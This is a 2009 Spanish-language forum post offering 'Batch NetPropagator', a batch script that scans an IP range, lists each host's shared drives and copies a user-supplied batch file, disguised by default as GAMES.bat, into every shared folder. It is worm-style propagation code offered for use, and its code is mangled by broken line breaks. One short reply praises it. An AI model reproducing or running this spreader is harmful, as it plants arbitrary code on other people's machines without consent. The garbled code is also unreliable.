Batch NetPropagator 1.0 BY 3D1
Bueno, como su nombre dice, esta es una aplicacion echa totalmente en Batch (No use VBS XD) Que propaga..
nuestro Batch atraves de toda nuestra Red sea lan o de dominio, por el momento es una version Beta..
ya le incluire mas opciones despues...
Ahora lo que hace es copiar el code de nuestro batch atraves de todas las carpetas compartidas de las PCs que estan en nuestra Red..
Como es BETA tiene peque๑os inconvenientes, pero no afectan en nada el funcionamiento..
Aclarando algunas cosas antes de ver el code:
El Batch pide que se ingrese el tipo de direccion IP, por el momento si o si debemos de introducir 3 digitos en cada caja de texto..
Osea si quiero copiar el bacth a todo el rango de este tipo de ip:
192.168.1.X
Entonces en el Batch se usara asi:
192.168.001.X
Espero se haya entendido, y la "X" ya viene no es nesesario escribirla..
Bueno sin mas que decir, dejo el code, y ya pueden postear sus comentarios, dudas o lo que sea ;D
@Title .:: Batch NetPropagator 1.0 BY 3D1 :
:. @Mode
con cols=44 Lines=15
@Color 0A
(
echo Echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo Echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
)>AddK.bat
Start /MIN Cmd /c Addk.bat
CLS
Ping -n 2 0.0.0.0
>nul 2
>&1
Mode
con cols=44 Lines=15
:new
:form
Cls
Echo ESCRIBA LA DIRECCION IP:
ECHO ษอออป ษอออป ษอออป ษอออป
echo บ
%ip1%บ.บ
%ip2%บ.บ
%ip3%บ.บ * บ
Echo ศอออผ ศอออผ ศอออผ ศอออผ
echo Copyright
(3D1
) 2009 - Derechos reservados
echo ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎
echo Hacking And Security
echo ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎
Key
IF %ERRORLEVEL% == 48
(set ip0=
%ip0%0
) IF %ERRORLEVEL% == 49
(set ip0=
%ip0%1
) IF %ERRORLEVEL% == 50
(set ip0=
%ip0%2
) IF %ERRORLEVEL% == 51
(set ip0=
%ip0%3
) IF %ERRORLEVEL% == 52
(set ip0=
%ip0%4
) IF %ERRORLEVEL% == 53
(set ip0=
%ip0%5
) IF %ERRORLEVEL% == 54
(set ip0=
%ip0%6
) IF %ERRORLEVEL% == 55
(set ip0=
%ip0%7
) IF %ERRORLEVEL% == 56
(set ip0=
%ip0%8
) IF %ERRORLEVEL% == 57
(set ip0=
%ip0%9
) IF %ERRORLEVEL% == 13
(Set ip=
%ip1%.
%ip2%.
%ip3%&CLS
&Goto :
Code) IF %ERRORLEVEL% == 8
(SET ip0=
<NUL
&&set ip0=
%ip0:~0,-1%) :Code
Mode
Con Cols=80 Lines=25
CLS
Echo ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Batch NetPropagator 1.0 BY 3D1 [BETA]
Echo Escriba o pegue el codigo fuente
del batch que se copiara a los..
Echo Archivos compartidos de los Equipos de su Red..
Echo Para Terminar presione [Ctrl + Z]+[Enter]
Echo Nombre Predeterminado [GAMES.bat]
Echo ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ
Set /P"=
> Estas Seguro que deseas Guardar el Code? [Y/N]"
<nul :stas
Key
if "
%errorlevel%" == "121"
(Goto :
Bucle) if "
%errorlevel%" == "89"
(Goto :
Bucle) if "
%errorlevel%" == "110"
(Goto :
Code) if "
%errorlevel%" == "78"
(Goto :
Code) :Bucle
Mode
con cols=45 Lines=16
Cls
ping -n 1 -w 0 %ip%.%iip%|Find "perdidos)">STATEIP.DAT
Set /p state=
<STATEIP.DAT
If "
%state%" == "
(0
%% perdidos
),"
(Echo Conect to:
%ip%.
%iip%&Echo Conect to:
%ip%.
%iip%>>Report.txt
&Set "ips=
%ip%.
%iip%"
&Call :
netview) )
If Exist Report.txt
(Start Notepad Report.txt
) Set /p"=
>Presione Tecla para Salir [KEY]"
<nul
:netview
For /f "Tokens=*"
%%_
in ('Net View \\
%ips% 2
^>^&1
^|Find "Disco"'
) do ( Set /p=
%%A >>GetFileName.dat
<nul )
)
)
:add
Set /p F=
<GetFileName.dat
Copy "
%nameb%" "\\
%ips%\
%F:~0,-1
%"
>nul 2
>&1
)
El Batch copia por ejemplo en un rango asi: 192.168.000.1 asta 192.168.000.255 y la verdad es rapido.. ;)
verifica si la IP existe o no, para hacer mas rapido el code..
y crea un "Report.txt" con los reportes de cada coneXion y ha que carpetas se copio y ha cuales no..
Ha y se me olvidaba si desean parar el Batch preionar las teclas Ctrl + C..
Espero les guste.., espero sus comentarios..
SaluDOS!!! ::)
Exelente trabajo, por lo visto al parecer funciona. Lamentablemente no tengo mแquinas en red sino lo probarํa.
Salu2!